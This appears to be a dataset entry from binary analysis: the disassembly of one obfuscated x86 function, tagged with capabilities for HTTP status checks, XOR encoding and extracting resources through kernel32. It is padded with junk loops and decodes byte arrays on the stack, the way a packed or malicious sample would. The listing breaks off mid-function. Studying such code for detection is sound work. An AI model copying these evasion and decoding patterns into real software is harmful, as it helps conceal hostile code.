Function at 0x1002695d
Capabilities:
Check http status code
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x1005bc10
call fcn.1005a5c0
sub esp, 0x524
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1e8], edx
mov dword [ebp - 0x54], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x190], ebx
mov dword [ebp - 0x18c], ebx
mov dword [ebp - 0x188], ebx
mov byte [ebp - 4], 1
or edi, 0xffffffff
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 1
jge 0x100269b9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x21c], edi
inc dword [ebp - 0x14]
jmp 0x100269a4
mov dword [ebp - 0x14], 3
jmp 0x10026a32
push dword [ebp - 0x180]
movdqa xmm0, xmmword [0x100699e0]
lea eax, [ebp - 0x370]
push eax
lea eax, [ebp - 0x380]
mov dword [ebp - 0x1f4], ebx
push eax
push ebx
lea ecx, [ebp - 0x1f4]
mov dword [ebp - 0x1f0], ebx
movdqu xmmword [ebp - 0x380], xmm0
mov dword [ebp - 0x1ec], ebx
call fcn.10014747
mov ecx, dword [ebp - 0x1f4]
mov dword [ecx + 8], ebx
mov eax, dword [ecx + 8]
inc dword [ecx + 8]
cmp dword [ecx + 8], 1
mov dword [ebp + eax*4 - 0x21c], 2
jl 0x10026a0d
lea ecx, [ebp - 0x1f4]
call fcn.1000f3c0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 5
jne 0x100269c2
mov dword [ebp - 0x1d4], ebx
lea ecx, [ebp - 0x284]
mov dword [ebp - 0x220], 0xa9683648
mov dword [ebp - 0x1e0], 0xb0ae28de
mov dword [ebp - 0x208], edi
mov dword [ebp - 0x218], 5
mov dword [ebp - 0x1c8], 0xe136dc99
push 4
call fcn.1000f33d
push 1
lea eax, [ebp - 0x284]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x228]
mov dword [ebp - 0x1cc], 0xfff7
push 0x79a0
push eax
mov dl, 1
mov dword [ebp - 0x1f8], 0xb11de2a9
xor cl, cl
call fcn.10025bef
lea eax, [ebp - 0x1e0]
mov edx, 0x926
push eax
push 0x6f62
lea eax, [ebp - 0x284]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x1f8]
push eax
push 0x62a4
push 1
push ebx
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x208]
push eax
push 1
push 0x7c10
push 0x47ec
push 0x33c7
lea eax, [ebp - 0x1c8]
push eax
lea eax, [ebp - 0x1cc]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.10025eef
add esp, 0x50
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x284]
call fcn.1000f3c0
push 0x74
pop eax
push 2
mov ecx, ebx
mov dword [ebp - 0xa0], 0x37069b09
mov dword [ebp - 0x9c], 0x1a0a2b03
mov dword [ebp - 0x98], 0xd0c1301
mov dword [ebp - 0x94], 0xa0b0904
mov dword [ebp - 0x90], 0x4e050c02
mov dword [ebp - 0x8c], 0x43087901
mov dword [ebp - 0x88], 0x2c000107
mov word [ebp - 0x34e], ax
pop esi
mov dword [ebp - 0x154], ecx
cmp esi, 0x14
jne 0x10026b92
push 2
pop ecx
mov dword [ebp - 0x154], ecx
jmp 0x10026be4
movzx edx, byte [ebp + esi - 0x9f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0xa2]
movzx ecx, word [ebp + eax*2 - 0x360]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0xa0]
add ecx, edx
mov word [ebp + eax*2 - 0x360], cx
lea eax, [ebp - 0x154]
push eax
push ebx
push 0x4749
push ecx
call fcn.1002693f
mov ecx, dword [ebp - 0x154]
add esp, 0x10
add esi, 2
cmp esi, 0x1c
jb 0x10026b82
xor eax, eax
mov dword [ebp - 0x84], 0xb064c03
push 0x63
mov word [ebp - 0x346], ax
mov ecx, ebx
pop eax
push 2
mov dword [ebp - 0x80], 0x43004502
mov dword [ebp - 0x7c], 0x11b6d02
mov dword [ebp - 0x78], 0x70e0401
mov word [ebp - 0x74], 0x504
mov byte [ebp - 0x72], 6
mov word [ebp - 0x266], ax
pop esi
mov dword [ebp - 0x144], ecx
cmp esi, 8
jne 0x10026c46
push 3
pop ecx
push 9
mov dword [ebp - 0x144], ecx
pop esi
jmp 0x10026c9e
movzx edx, byte [ebp + esi - 0x83]
mov eax, esi
sub eax, ecx
push ebx
push 0x4bc1
movzx eax, byte [ebp + eax - 0x86]
movzx eax, word [ebp + eax*2 - 0x26c]
mov ecx, eax
and eax, edx
or ecx, edx
xor dl, dl
sub ecx, eax
movzx eax, byte [ebp + esi - 0x84]
mov word [ebp + eax*2 - 0x26c], cx
lea eax, [ebp - 0x144]
push eax
push 0x6ef2
mov cl, 1
call fcn.10025bef
mov ecx, dword [ebp - 0x144]
add esp, 0x10
add esi, 2
cmp esi, 0x13
jb 0x10026c33
xor eax, eax
mov word [ebp - 0x25c], ax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x14], ebx
jmp 0x10026ccc
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2c], 0x20bd2ab
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10026cbe
cmp dword [ebp - 0x2c], ebx
je 0x10026d10
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x2c]
add ecx, 0x3f02
cmp eax, ecx
mov eax, dword [ebp - 0x2c]
setge dl
imul eax, edx
cmp eax, dword [ebp - 0x2c]
jge 0x10026cfe
cmp dword [ebp - 0x2c], ebx
jne 0x10026cfe
mov eax, ebx
jmp 0x10026d01
xor eax, eax
inc eax
add eax, 0x5e1f6f08
cmp eax, dword [ebp - 0x2c]
jle 0x10026d10
xor edx, edx
inc edx
jmp 0x10026d12
mov edx, ebx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setg cl
xor edx, edx
cmp ecx, 0xfffffff8
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setg cl
xor edx, edx
cmp ecx, 0x2bb2
setg dl
imul eax, edx
cmp eax, dword [ebp - 0x2c]
je 0x10026d77
mov dword [ebp - 0x14], 0xfffffffe
mov dword [ebp - 0x14], ebx
jmp 0x10026d61
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1dc], 0x2057
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10026d50
mov eax, dword [ebp - 0x1dc]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
mov dword [ebp - 0x14], ecx
jmp 0x10026dca
mov dword [ebp - 0x1c], 0x89f2
mov dword [ebp - 0x14], 0x2891f433
mov eax, dword [ebp - 0x14]
cmp edi, eax
mov eax, dword [ebp - 0x2c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0x218670fc
setg dl
sub ecx, edx
mov edx, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x2c]
inc ecx
neg edx
sbb edx, edx
inc edx
imul edx, ecx
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x2c]
setl cl
sub ecx, eax
mov eax, dword [ebp - 0x2c]
add eax, ecx
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x31c], 7
mov word [ebp - 0x330], ax
lea ecx, [ebp - 0x330]
lea eax, [ebp - 0x26c]
mov dword [ebp - 0x320], ebx
push eax
call fcn.1001f29f
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x308]
xor eax, eax
mov dword [ebp - 0x2f4], 7
mov word [ebp - 0x308], ax
lea eax, [ebp - 0x360]
push eax
mov dword [ebp - 0x2f8], ebx
call fcn.1001f29f
lea eax, [ebp - 0x308]
push eax
lea ecx, [ebp - 0x3f8]
call fcn.100253e9
lea eax, [ebp - 0x330]
push eax
lea ecx, [ebp - 0x3e0]
call fcn.100253e9
push ebx
push 1
lea ecx, [ebp - 0x308]
call fcn.1000fe44
push ebx
push 1
lea ecx, [ebp - 0x330]
call fcn.1000fe44
mov byte [ebp - 4], 4
lea eax, [ebp - 0x3c8]
push dword [ebp - 0x228]
lea ecx, [ebp - 0x16c]
mov dword [ebp - 0x16c], ebx
push eax
lea eax, [ebp - 0x3f8]
mov dword [ebp - 0x168], ebx
push eax
push ebx
mov dword [ebp - 0x164], ebx
call fcn.10028b27
push fcn.1002555d
push 1
push 0x30
lea eax, [ebp - 0x3f8]
mov byte [ebp - 4], 6
push eax
call fcn.10043b1b
mov dword [ebp - 0x30], 0x837b
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x14], 0xd976ff55
mov dword [ebp - 0x18], 0x51cfd1f2
mov dword [ebp - 0x50], 8
push 2
call fcn.1000f33d
lea eax, [ebp - 0x334]
mov byte [ebp - 4], 7
push eax
lea ecx, [ebp - 0x240]
call fcn.10025aa5
inc dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
pop ecx
cmp dword [ebp - 0x30], eax
jg 0x10027007
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x142b
jl 0x10026f1c
cmp dword [ebp - 0x18], ebx
je 0x10026f1c
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x50]
xor edx, edx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x30]
inc edx
cmp eax, edx
mov eax, 0xfffb
setg cl
cmp eax, ecx
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x30]
jge 0x10027007
mov dword [ebp - 0x17c], edx
mov dword [ebp - 0x30], ebx
jmp 0x10026ffc
mov dword [ebp - 0x14], ebx
jmp 0x10026f66
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3a8], 0x5d9c72
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10026f55
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x240]
cmp dword [eax + ecx*4], ebx
jne 0x1002701d
mov dword [ebp - 0x18], ebx
jmp 0x10026ff4
lea eax, [ebp - 0x17c]
mov ecx, 0x1841
push eax
push ebx
call fcn.10026652
push 0x703d
push 0x2001
push 0xfad
push 0x625c
push 0x6ddd
lea eax, [ebp - 0x17c]
mov ecx, 0x4d11
push eax
push 1
push 1
push 0x12ba
push 0x184b
push ebx
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x30]
push eax
push 0x5dbb
push 0x60c6
push 0x5462
lea edx, [ebp - 0x50]
call fcn.10025eef
add esp, 0x48
xor edx, edx
inc dword [ebp - 0x18]
inc edx
cmp dword [ebp - 0x18], edx
jle 0x10026f83
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jle 0x10026f50
jmp 0x1002701d
push ecx
lea eax, [ebp - 0x3e]
mov byte [ebp - 0x3e], bl
push eax
push ebx
mov edx, 0x1671
call fcn.10025658
add esp, 0xc
push ebx
call fcn.100266ce
pop ecx
lea ecx, [ebp - 0x240]
mov byte [ebp - 4], 6
call fcn.1000f3c0
push 7
xor eax, eax
lea edi, [ebp - 0x360]
pop ecx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0x30e6
cmp dword [ebp - 0x14], 0x3230
jle 0x10027097
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x428]
xor eax, edi
cdq
push edx
push eax
call fcn.10001aa4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10027070
mov eax, dword [eax]
push eax
call fcn.10043d63
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x428]
call fcn.1000fb16
inc esi
cmp esi, 0x56f6
jl 0x10027054
inc edi
cmp edi, 0x6459
jl 0x10027052
cmp dword [ebp - 0x14], 0x3094
jge 0x100270ab
push str.tdkl_lyidppqxs_upaiesg_equtlyox
call fcn.10043d63
pop ecx
mov dword [ebp - 4], 6
mov dword [ebp - 0x14], 0xd6c05baf
mov dword [ebp - 0x14], ebx
jmp 0x100270e5
push 0x3b8a
lea eax, [ebp - 0x1e4]
mov dword [ebp - 0x1e4], 0xeede0b40
push eax
push ecx
mov ecx, 0x7b1f
call fcn.100268f8
add esp, 0x10
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 5
push ebx
jge 0x100270be
xor eax, eax
lea edi, [ebp - 0x26c]
stosd dword es:[edi], eax
lea edx, [ebp - 0x16c]
mov ecx, 0x7594
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp + 8]
push eax
push 1
push 0x607
push 1
call fcn.100260c4
add esp, 0x14
lea ecx, [ebp - 0x278]
push 3
call fcn.1000f33d
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x48], ebx
jmp 0x10027145
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x68], 0xfffd
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 1
jl 0x10027137
lea eax, [ebp - 0x278]
mov edx, 0x2c8b
push eax
lea eax, [ebp - 0x48]
push eax
push ecx
xor cl, cl
call fcn.10025579
mov esi, dword [ebp - 0x278]
add esp, 0xc
mov dword [esi + 4], ebx
mov dword [ebp - 0x24], 0x772304b2
mov dword [ebp - 0x14], 0xb4448110
mov dword [ebp - 0x14], 0xe072305a
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jl 0x100272c3
push 2
lea ecx, [ebp - 0x1c0]
call fcn.1000f33d
push 1
push 0xd8d
push ebx
push 0x30d
push 0x4242
lea eax, [ebp - 0x1c0]
mov byte [ebp - 4], 0xb
push eax
push 1
lea eax, [ebp - 0x338]
mov edx, 0x72ca
push eax
push 0x38af
mov ecx, 0x4987
call fcn.1002626e
mov eax, dword [ebp - 0x1c0]
add esp, 0x24
mov dword [eax], ebx
mov eax, dword [esi + 4]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x68]
imul eax, dword [esi + 4], 9
cmp dword [esi + 4], eax
mov eax, dword [ebp - 0x68]
setne dl
imul edx, eax
mov eax, dword [ebp - 0x24]
imul eax, edx
test eax, eax
jne 0x1002720e
cmp dword [esi + 4], ebx
jne 0x1002720e
mov edx, ebx
jmp 0x10027211
xor edx, edx
inc edx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge cl
sub ecx, 0x312488a8
cmp ecx, 0xffff
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, dword [esi + 4]
cmp edx, eax
mov eax, dword [ebp - 0x1c0]
setle cl
add ecx, dword [eax]
je 0x1002724c
cmp dword [ebp - 0x24], ebx
je 0x1002724c
xor ecx, ecx
inc ecx
jmp 0x1002724e
mov ecx, ebx
xor eax, eax
cmp ecx, dword [esi + 4]
setle al
xor ecx, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [esi + 4]
mov edx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x14]
cmp eax, 7
setg cl
xor eax, eax
cmp ecx, edx
setg al
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1c0]
dec dword [eax]
jns 0x100271e2
push 1
push 1
push 0x72f6
push 1
push 0x2772
push 0x6cc4
mov edx, 0x67d4
lea ecx, [ebp - 0x1c0]
call fcn.10025a48
add esp, 0x18
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1c0]
call fcn.1000f3c0
dec dword [ebp - 0x24]
jns 0x10027190
mov eax, dword [esi + 4]
cmp dword [ebp + eax*4 - 0x68], ebx
jne 0x100272d9
inc dword [esi + 4]
cmp dword [esi + 4], 0
jle 0x1002716f
lea ecx, [ebp - 0x278]
mov byte [ebp - 4], 6
call fcn.1000f3c0
push ebx
push 0x1c821
push 0x18801
call fcn.10038f05
pop ecx
pop ecx
call eax
push 1
lea ecx, [ebp - 0x2a8]
call fcn.1000f33d
mov byte [ebp - 4], 0xc
or edi, 0xffffffff
mov dword [ebp - 0x58], 0xfffffffa
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x14], ebx
jmp 0x10027335
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2a8]
mov dword [eax + ecx*4], 0x6192
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10027322
mov dword [ebp - 0x58], ebx
cmp dword [ebp - 0x58], ebx
jl 0x1002738a
push ebx
push 0x2f2f
mov dl, 1
push 0x31d
push 0x2439
mov cl, dl
call fcn.10025bef
mov byte [ebp - 0x1d], bl
add esp, 0x10
cmp byte [ebp - 0x1d], 0
je 0x10027385
push 1
push 0x3bda
mov dl, 1
push 0x19d0
push 0x4d5b
mov cl, dl
call fcn.10025bef
add esp, 0x10
dec dword [ebp - 0x58]
jns 0x10027343
mov dword [ebp - 0x24], 0x7fa5
cmp dword [ebp - 0x24], 0x7fe5
jle 0x100273e3
mov edi, ebx
mov dword [ebp - 0x14], ebx
mov esi, ebx
mov ecx, esi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], ebx
sar edi, cl
mov eax, ebx
mov ecx, 0x10077318
xor eax, edi
cdq
push edx
push eax
call fcn.1000f05b
inc ebx
cmp ebx, 0x2266
jl 0x100273ab
mov edi, dword [ebp - 0x14]
inc esi
push 0
pop ebx
cmp esi, 0x5254
jl 0x100273a1
inc edi
mov dword [ebp - 0x14], edi
cmp edi, 0x50aa
jl 0x1002739f
or edi, 0xffffffff
push ecx
lea eax, [ebp - 0x224]
push eax
push 0x1b2c
push ecx
push ecx
push ebx
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x2a8]
push eax
call fcn.100258df
add esp, 0x20
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x24], 0x7e0a
jge 0x10027443
mov edx, str.evrdef_nqd_aqumjv_zhp_rsmmupu_wxt_hkhstagis_musw
mov ecx, 0x10077318
call fcn.10013928
jmp 0x10027443
mov dword [ebp - 4], 0xc
lea ecx, [ebp - 0x2a8]
mov byte [ebp - 4], 6
call fcn.1000f3c0
push 0x3f67
push 0x77dd
push ecx
lea edx, [ebp - 0x2f0]
mov cl, 1
call fcn.10025579
add esp, 0xc
mov dword [ebp - 0x22c], edi
lea eax, [ebp - 0x22c]
mov edx, 0x4d34
mov ecx, 0x3b22
push 1
push 0x4d3f
push 1
push eax
push ebx
call fcn.100260c4
add esp, 0x14
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x28], edi
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x210], 0xd95e17ca
push 3
call fcn.1000f33d
push ecx
lea eax, [ebp - 0x318]
mov byte [ebp - 4], 0xf
push eax
lea edx, [ebp - 0x258]
mov dword [ebp - 0x234], 1
xor cl, cl
call fcn.1002600e
lea eax, [ebp - 0x234]
push ebx
push eax
call fcn.1002562d
push ebx
lea eax, [ebp - 0x210]
mov edx, 0x7730
push eax
push 1
lea eax, [ebp - 0x258]
mov ecx, 0x7b7f
push eax
push 0x3740
push 0x3b3e
push 1
push 0x6dbc
push 0x2c11
call fcn.1002626e
add esp, 0x34
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x258]
call fcn.1000f3c0
push 0x45
pop eax
mov dword [ebp - 0xf0], 0x77120e23
mov dword [ebp - 0xec], 0x771b060a
mov dword [ebp - 0xe8], 0x1c156e13
mov byte [ebp - 0xe4], bl
mov dword [ebp - 0xe3], 0x1f4b064a
mov dword [ebp - 0xdf], 0x8031d07
mov dword [ebp - 0xdb], 0xe750f70
mov dword [ebp - 0xd7], 0x968011c
mov dword [ebp - 0xd3], 0x71c0568
mov dword [ebp - 0xcf], 0xc0b0b09
mov dword [ebp - 0xcb], 0x4751607
mov dword [ebp - 0xc7], 0x1e071102
mov dword [ebp - 0xc3], 0x2721702
mov dword [ebp - 0xbf], 0x1a691870
mov dword [ebp - 0xbb], 0x2508031d
mov byte [ebp - 0xb7], al
mov word [ebp - 0xb6], 0x440d
mov byte [ebp - 0xb4], 0x20
mov byte [ebp - 0xb3], bl
push 2
mov byte [ebp - 0xb2], 0x22
mov byte [ebp - 0xb1], bl
mov dword [ebp - 0xb0], 0x914091c
mov dword [ebp - 0xac], 0x9100124
mov dword [ebp - 0xa8], 0x6210119
mov word [ebp - 0x482], ax
pop esi
movzx eax, byte [ebp + esi - 0xf2]
movzx ecx, byte [ebp + esi - 0xef]
movzx eax, word [ebp + eax*2 - 0x4c8]
mov edx, eax
and eax, ecx
or edx, ecx
sub edx, eax
movzx eax, byte [ebp + esi - 0xf0]
add esi, 2
mov word [ebp + eax*2 - 0x4c8], dx
cmp esi, 0x4c
jb 0x1002761f
xor eax, eax
lea edx, [ebp - 0x20c]
mov word [ebp - 0x47c], ax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2dc], edi
mov dword [ebp - 0x2d8], edi
mov dword [ebp - 0x2d4], edi
mov dword [ebp - 0x2d0], edi
mov dword [ebp - 0x1c], 0xfffffff6
mov dword [ebp - 0x28], 0xb2906c90
mov dword [ebp - 0x28], 0x9884cb8f
mov dword [ebp - 0x28], 6
mov dword [ebp - 0x20c], 0xff18c9a0
mov eax, dword [ebp - 0x2dc]
dec eax
neg eax
push ecx
sbb eax, eax
inc eax
push 0x384f
mov dword [ebp - 0x1c], eax
push 1
call fcn.10025658
xor eax, eax
mov dword [ebp - 0x288], 7
add esp, 0xc
mov word [ebp - 0x29c], ax
lea eax, [ebp - 0x4c8]
mov dword [ebp - 0x28c], ebx
lea ecx, [ebp - 0x29c]
push eax
call fcn.1001f29f
push 1
lea ecx, [ebp - 0x24c]
mov byte [ebp - 4], 0x10
call fcn.1000f33d
push 1
push ecx
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x34], ebx
lea edx, [ebp - 0x24c]
mov dword [ebp - 0x1d8], 0xe843631e
mov ecx, 0x2c72
push eax
call fcn.10025d24
mov dword [ebp - 0x1c], 0x313b
add esp, 0xc
cmp dword [ebp - 0x1c], 0x32b1
jle 0x100277a8
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov eax, edi
mov edi, ecx
cdq
idiv esi
mov esi, 0x158b
mov eax, edx
neg eax
mov dword [ebp - 0x28], eax
mov ebx, eax
mov eax, edi
mov ecx, 0x10077318
cdq
push edx
push eax
call fcn.1000f05b
add edi, ebx
dec esi
jne 0x10027764
mov esi, dword [ebp - 0x24]
mov edi, dword [ebp - 0x18]
inc esi
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x24], esi
cmp esi, 0x217f
jl 0x1002774f
inc edi
mov dword [ebp - 0x18], edi
push 0
pop ebx
cmp edi, 0x4db9
jl 0x1002774a
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x405c
jl 0x10027745
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x1c], 0x3087
jge 0x100277e2
mov edx, str.ysibrm_kgthlo_jgxeoszer_amc_kmlltsft_fhqt_opxzi_sttktih_fxirwytah_ajioqfso_sdcnyh
mov ecx, 0x10077318
call fcn.10013928
jmp 0x100277e2
push 1
push ebx
push 0x4444
push ebx
push 0x32e
push 0x6445
lea edx, [ebp - 0x24c]
mov dword [ebp - 4], 0x11
mov ecx, 0x4507
call fcn.10025a48
add esp, 0x18
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], ebx
jg 0x1002791a
mov dword [ebp - 0x14], ebx
jmp 0x1002782e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6c], 0x70a77c87
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10027820
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10027847
push ecx
push 1
call fcn.10025e02
pop ecx
pop ecx
mov dword [ebp - 0x6c], ebx
cmp dword [ebp - 0x6c], ebx
jl 0x10027912
mov dword [ebp - 0x214], 0xe780ca9f
mov dword [ebp - 0x1d0], 3
mov dword [ebp - 0x1c], 0x61a2
cmp dword [ebp - 0x1c], 0x622b
jle 0x1002789d
mov esi, ebx
mov edi, ebx
mov ebx, 0x718e
mov eax, edi
mov ecx, 0x10077318
cdq
push edx
push eax
call fcn.1000f05b
add edi, esi
dec ebx
jne 0x10027880
inc esi
cmp esi, 0x7a64
jl 0x10027879
push ebx
lea eax, [ebp - 0x1d0]
push eax
push ecx
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x34]
push eax
push ecx
lea edx, [ebp - 0x24c]
lea ecx, [ebp - 0x1d8]
call fcn.100257de
add esp, 0x18
mov byte [ebp - 4], 0x14
cmp dword [ebp - 0x1c], 0x603f
jge 0x10027903
mov edx, str.vmta_bzhmolfsa_urofc_demtj_ysi_mbtlytexj_mfhcavg
mov ecx, 0x10077318
call fcn.10013928
jmp 0x10027903
mov dword [ebp - 4], 0x11
dec dword [ebp - 0x6c]
jmp 0x1002784a
inc dword [ebp - 0x34]
jmp 0x10027812
lea ecx, [ebp - 0x24c]
mov byte [ebp - 4], 0x10
call fcn.1000f3c0
push 0x13
pop ecx
push 0x6cb6
push 0x1903
xor eax, eax
lea edi, [ebp - 0x4c8]
rep stosd dword es:[edi], eax
push 0x1f35
push 0x8b6
push 0x7921
push 0x5548
push ebx
push 1
push 0x3ab7
push 0x20e2
push ebx
push 0x5222
stosw word es:[edi], ax
mov edx, 0x6567
push 0x1290
lea eax, [ebp - 0x41]
mov dword [ebp - 0x14], 0xa8eac8b
push eax
push 0x3ce5
mov byte [ebp - 0x41], bl
mov ecx, 0x5f79
push 0x696d
call fcn.10025eef
add esp, 0x40
mov dword [ebp - 0x14], ebx
jmp 0x100279b7
push ecx
push ecx
mov byte [ebp - 0x3f], bl
lea edx, [ebp - 0x3f]
push 1
mov ecx, 0x25b5
call fcn.10025e23
add esp, 0xc
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe5
jl 0x1002799d
push 2
lea ecx, [ebp - 0x314]
call fcn.1000f33d
push ebx
push 1
push 0x4506
push 1
lea eax, [ebp - 0x184]
mov byte [ebp - 4], 0x16
push eax
lea eax, [ebp - 0x314]
mov dword [ebp - 0x230], 0x4d8e5ccc
push eax
mov edx, 0x36ba
mov ecx, 0x5d80
call fcn.10025a48
push 0x1e20
lea eax, [ebp - 0x230]
mov edx, 0x41c2
push eax
push 0x7363
push 0x16f2
push 0x549f
push 0xc25
push 1
push 1
push 0x59be
push 0x5c3b
push 1
push 0xaa2
push 0x4c44
push 0x3706
push 0x4999
push 0x3554
mov ecx, 0x50d9
call fcn.10025eef
add esp, 0x58
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x314]
call fcn.1000f3c0
push 0x39
pop eax
push 2
mov ecx, ebx
mov dword [ebp - 0x140], 0x7b22ab1f
mov dword [ebp - 0x13c], 0x7f067b0a
mov dword [ebp - 0x138], 0x711051b
mov byte [ebp - 0x134], 0x25
mov byte [ebp - 0x133], al
mov dword [ebp - 0x132], 0x74034d05
mov dword [ebp - 0x12e], 0x1217510
mov dword [ebp - 0x12a], 0x1c071d18
mov byte [ebp - 0x126], 0xf
mov byte [ebp - 0x125], bl
mov dword [ebp - 0x124], 0x3190215
mov dword [ebp - 0x120], 0x140e0904
mov dword [ebp - 0x11c], 0x76246f14
mov dword [ebp - 0x118], 0x740c770b
mov dword [ebp - 0x114], 0x502040d
mov byte [ebp - 0x110], 8
mov byte [ebp - 0x10f], bl
mov word [ebp - 0x10e], 0x61c
mov byte [ebp - 0x10c], bl
mov dword [ebp - 0x10b], 0x174b1a4b
mov dword [ebp - 0x107], 0x12072375
mov dword [ebp - 0x103], 0x1011671
mov dword [ebp - 0xff], 0x13061dc3
mov dword [ebp - 0xfb], 0x1142019
mov word [ebp - 0xf7], 0x1e7f
mov byte [ebp - 0xf5], bl
mov word [ebp - 0xf4], 0x6b09
mov word [ebp - 0x43a], ax
pop esi
mov dword [ebp - 0x150], ecx
cmp esi, 0x40
jne 0x10027b7c
push 2
pop ecx
mov dword [ebp - 0x150], ecx
jmp 0x10027bcd
movzx edx, byte [ebp + esi - 0x13f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x142]
movzx eax, word [ebp + eax*2 - 0x478]
mov ecx, eax
and eax, edx
or ecx, edx
lea edx, [ebp - 0x150]
sub ecx, eax
movzx eax, byte [ebp + esi - 0x140]
push ecx
push 0x270f
push ecx
push ecx
push ebx
mov word [ebp + eax*2 - 0x478], cx
call fcn.100267d5
mov ecx, dword [ebp - 0x150]
add esp, 0x14
add esi, 2
cmp esi, 0x4e
jb 0x10027b6c
xor eax, eax
mov word [ebp - 0x42c], ax
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x28], 0x1d691704
mov dword [ebp - 0x14], 2
mov dword [ebp - 0x18], ebx
jmp 0x10027c09
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4d8], 8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10027bf8
mov dword [ebp - 0x18], ebx
jmp 0x10027c25
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x390], 0x16ffa942
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10027c14
mov dword [ebp - 0x18], ebx
jmp 0x10027c41
